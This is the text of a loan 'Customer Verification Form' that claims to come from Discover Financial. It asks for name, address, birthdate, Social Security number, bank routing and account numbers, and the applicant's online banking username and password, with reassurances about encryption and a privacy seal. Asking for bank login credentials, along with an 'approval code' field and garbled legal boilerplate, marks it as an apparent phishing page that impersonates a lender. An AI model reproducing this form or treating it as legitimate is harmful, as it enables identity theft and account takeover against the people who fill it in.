Customer Verification Form

1. Personal Details
- What's your name?
  
  First Name*
  Please Enter First Name
  
  Middle Name
  Please Enter middle Name
  
  Last Name*
  Please Enter Last Name
  
  We need this to find your credit report.
- What's your home address?
  
  Address Line 1*
  Please Enter Address Line 1
  
  Address Line 2
  
  City*
  Please Enter City
  
  State
  Please select a state
  
  Zip Code*
  Please Enter Zip Code
  
  We want to make sure we're looking for the right member.
- Email *
  Please Enter a Valid Email Address
  
  Sharing your email helps us verify your identity and create your offer.
  
  Phone Number *
  Please Enter a Valid Phone Number
  
  Let us know the best number to reach you at.
  
  Birthdate *
  Please Enter Your Birthdate
  
  Sharing your birthday helps us verify your identity and create your offer.
  
  Social Security Number *
  Please Enter a Valid Social Security Number
  
  Sharing your SSN helps us verify your identity and protect you against potential fraud.
  
  Monthly Income
  Please Enter Monthly Income
  
  Your salary, retirement pay, or part-time jobs count.
  
  Additional Income
  This helps us understand your income better.
2. Loan Details
- Approval Code
  Please Enter Approval Code
  
  Please enter your valid approval code.
  
  Needed Amount *
  Please Enter Needed Amount
  
  Please enter the amount of the loan.
  
  Reason for Loan
  
  Credit Score
  
  Bad Credit: 300-599
  
  Poor Credit: 600-649
  
  Fair Credit: 650-699
  
  Good Credit: 700-749
  
  Excellent Credit: 750 and above
3. Bank Details
- Bank Name
  Please Enter Bank Name
  
  Your safety is our priority. In fact, we've been awarded TRUSTe's Privacy seal for data transparency and accountability.
  
  Time with Bank
  Please Select Time with Bank
  
  We know that your information is personal, so we use bank-level encryption at all times.
  
  ABA/Routing Number *
  Please Enter ABA/Routing Number
  
  Please enter the routing number provided by your financial institution.
  
  Account Number *
  Please Enter Account Number
  
  Please enter the account number provided by your financial institution.
- Mobile/Online Banking Details
  
  Bank Username *
  Please Enter Bank Username
  
  Password *
  
  Confirm Password *
  
  We use 128-bit SSL protection and strict, high levels of security & encryption standards to keep your information safe. NOTE: THIS FIELD IS CASE-SENSITIVE.
  
  IMPORTANT INFORMATION ABOUT PROCEDURES FOR VERIFYING/OPENING NEW ACCOUNT.
  
  *To help the government fight the funding of terrorism and money laundering activities. Federal laws require all financial institutions to obtain, verify and record information that identifies each information that identifies each person who open an account
  
  *What this means for you. When you verify or open an account. We will ask for your name address, date of birth and other information that will allow us to identify you. We may also ask to see your driver's license or other identifying documents
  
  *Your loan APR will depend upon your credit score and other key financial characteristics including but not limited to the amount financed, loan term length, and your credit usage history.
  
  *All legal documents and disclosures must be signed by each applicant individually.
  
  I Agree
  Please Agree to Privacy Policy
  
  Online Privacy Policy. This Online Privacy Policy applies to all online and offline interaction with Discover Financial or any of their subsidiaries, as may be applicable (collectively "Discover Financial","we","us","our") as more specifically noted below and our practices relating to the personal information we collect from you. This Online Privacy policy is effective as of January 1,2023

Customer Verification Form

1. Personal Details

What's your name?

What's your home address?

2. Loan Details

3. Bank Details

Mobile/Online Banking Details